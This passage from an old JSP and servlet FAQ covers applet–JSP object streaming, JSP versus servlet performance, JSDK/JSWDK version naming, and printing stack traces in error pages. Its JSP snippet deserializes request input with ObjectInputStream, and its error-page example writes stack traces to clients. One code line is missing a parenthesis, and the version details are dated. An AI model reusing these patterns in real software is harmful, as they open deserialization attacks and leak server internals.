<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">String s = &#8220;&#8221;; </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">while( (s = ir.readLine()) != null ) </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>System.out.println(s); </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">ir.close(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>: </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">/** JSP */ </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>: </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;% </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">// Get Request(POST) of applet </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">ObjectInputStream objIn = new ObjectInputStream(request.getInputStream()); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">userID = (String)objIn.readObject(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objIn.close(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">// Response to Applet </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">response.setContentType(&#8221;application/octet-stream&#8221;); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">ObjectOutputStream objOut = new ObjectOutputStream(response.getOutputStream()); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objOut.writeObject(new String(&#8221;Hello, applet&#8221;); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objOut.flush(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objOut.close(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>: </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt; </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691754"><span style="font-size: x-small; font-family: Verdana;">How does the performance of JSP pages compare with that of servlets? How does it compare with Perl scripts?</span></a><br />
<span style="mso-spacerun: yes;"><span style="font-size: x-small; font-family: Verdana;"> </span></span></h1>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The performance of JSP pages is very close to that of servlets. However, users may experience a perceptible delay when a JSP page is accessed for the very first time. This is because the JSP page undergoes a &#8220;translation phase&#8221; wherein it is converted into a servlet by the JSP engine. Once this servlet is dynamically compiled and loaded into memory, it follows the servlet life cycle for request processing. Here, the jspInit() method is automatically invoked by the JSP engine upon loading the servlet, followed by the _jspService() method, which is responsible for request processing and replying to the client. Do note that the lifetime of this servlet is non-deterministic &#8211; it may be removed from memory at any time by the JSP engine for resource-related reasons. When this happens, the JSP engine automatically invokes the jspDestroy() method allowing the servlet to free any previously allocated resources. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Subsequent client requests to the JSP page does not result in a repeat of the translation phase as long as the servlet is cached in memory, and are directly handled by the servlet&#8217;s service() method in a concurrent fashion (i.e. the service() method handles each client request within a seperate thread concurrently.) </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">There have been some recent studies contrasting the performance of servlets with Perl scripts running in a &#8220;real-life&#8221; environment. The results are favorable to servlets, especially when they are running in a clustered environment. For details, see: </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><a href="http://www.objexcel.com/workingjava.htm#Web Server Benchmarks"><span style="color: #0000ff;">http://www.objexcel.com/workingjava.htm#Web Server Benchmarks</span></a></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691755"><span style="font-size: x-small; font-family: Verdana;">What&#8217;s the difference between the JSDK and the JSWDK? And what&#8217;s the current version?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The kit for developing servlets, containing the Servlet API classes and tools, used to be called the Java Servlet Development Kit (JSDK). Then Sun renamed the Java Development Kit (JDK) to the Java 2 Software Development Kit (J2SDK). Since J2SDK sounds a lot like JSDK, the Servlet team renamed JSDK to JavaServer Web Development Kit (JSWDK). (They also added support for JSPs.) </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Here&#8217;s where it gets confusing. When they renamed it, they also renumbered it. So the JSWDK 1.0 is actually more recent than the JSDK 2.1. It&#8217;s also confusing that when people want to develop servlets, they have to download something called a JavaServer Web Development Kit, which sounds like it should be used to develop servers, not servlets. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">A further confusion is that the Servlet spec is developed independently from the JSP spec, and they both have different versions than the JSDK/JSWDK. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The following table summarizes the confusion. </span></p>
<div>
<table class="MsoNormalTable" style="border-collapse: collapse; mso-table-layout-alt: fixed; mso-padding-alt: 0in 3.0pt 0in 3.0pt;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes;">
<td style="padding-right: 3pt; padding-left: 3pt; padding-bottom: 0in; width: 0.7in; padding-top: 0in; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; border: windowtext 2.25pt ridge;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><strong style="mso-bidi-font-weight: normal;">Product</strong></span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: windowtext 2.25pt ridge; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Version</span></strong></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: windowtext 2.25pt ridge; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 1.2in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt;" width="115">
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Servlet spec</span></strong></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: windowtext 2.25pt ridge; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.8in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt;" width="77">
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">JSP spec</span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow: 1;">
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: windowtext 2.25pt ridge; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><a href="http://jakarta.apache.org/"><span style="color: #0000ff;">Tomcat</span></a></span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">3.0</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 1.2in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="115">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">2.2</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.8in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="77">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">1.1</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 2;">
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: windowtext 2.25pt ridge; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><a href="http://java.sun.com/products/servlet/download.html#JSWDK"><span style="color: #0000ff;">JSWDK</span></a></span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">1.0.1</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 1.2in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="115">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">2.1</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.8in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="77">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">1.0.1</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 3;">
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: windowtext 2.25pt ridge; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><a href="http://java.sun.com/products/servlet/download.html#JSDK"><span style="color: #0000ff;">JSDK</span></a></span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">2.1</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 1.2in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="115">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">2.1</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.8in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="77">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">none</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 4; mso-yfti-lastrow: yes;">
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: windowtext 2.25pt ridge; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><a href="http://java.sun.com/products/servlet/download.html#JSDK"><span style="color: #0000ff;">JSDK</span></a></span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.7in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="67">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">2.0</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 1.2in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="115">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">2.0</span></p>
</td>
<td style="border-right: windowtext 2.25pt ridge; padding-right: 3pt; border-top: #f0f0f0; padding-left: 3pt; padding-bottom: 0in; border-left: #f0f0f0; width: 0.8in; padding-top: 0in; border-bottom: windowtext 2.25pt ridge; background-color: transparent; mso-border-alt: three-d-emboss windowtext 2.25pt; mso-border-left-alt: three-d-emboss windowtext 2.25pt; mso-border-top-alt: three-d-emboss windowtext 2.25pt;" width="77">
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">none</span></p>
</td>
</tr>
</tbody>
</table>
</div>
<p class="Blockquote" style="margin: 5pt 0.25in; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Make sure you look for the &#8220;W&#8221;!</span></strong><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in; text-align: center;" align="center"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691756"><span style="font-size: x-small; font-family: Verdana;">How can I get to print the stacktrace for an exception occuring within my JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">By printing out the exception&#8217;s stack trace, you can usually diagonse a problem better when debugging JSP pages. By looking at a stack trace, a programmer should be able to discern which method threw the exception and which method called that method. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">However, you cannot print the stacktrace using the JSP </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">out</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> implicit variable, which is of type JspWriter. You will have to use a PrintWriter object instead. The following snippet demonstrates how you can print a stacktrace from within a JSP error page: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ page isErrorPage=&#8221;true&#8221; %&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">out.println(&#8221;&lt;pre&gt;&#8221;);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">PrintWriter pw = response.getWriter();</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">exception.printStackTrace(pw);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">out.println(&#8221;&lt;/pre&gt;&#8221;);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691757"><span style="font-size: x-small; font-family: Verdana;">Can I invoke a JSP error page from a servlet?</span></a><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"></span></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes, you can invoke the JSP error page and pass the exception object to it from within a servlet. The trick is to create a request dispatcher for the JSP error page, and pass the exception object as a </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">javax.servlet.jsp.jspException</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> request attribute. However, note that you can do this from only within </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">controller</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> servlets. If your servlet opens an OutputStream or PrintWriter, the JSP engine will throw the following translation error: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">java.lang.IllegalStateException: Cannot forward as OutputStream or Writer has already been obtained</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The following code snippet demonstrates the invocation of a JSP error page from within a controller servlet: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">protected void sendErrorRedirect(HttpServletRequest request, HttpServletResponse response, String errorPageURL, Throwable e)</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>throws ServletException, IOException {</span></span></p>
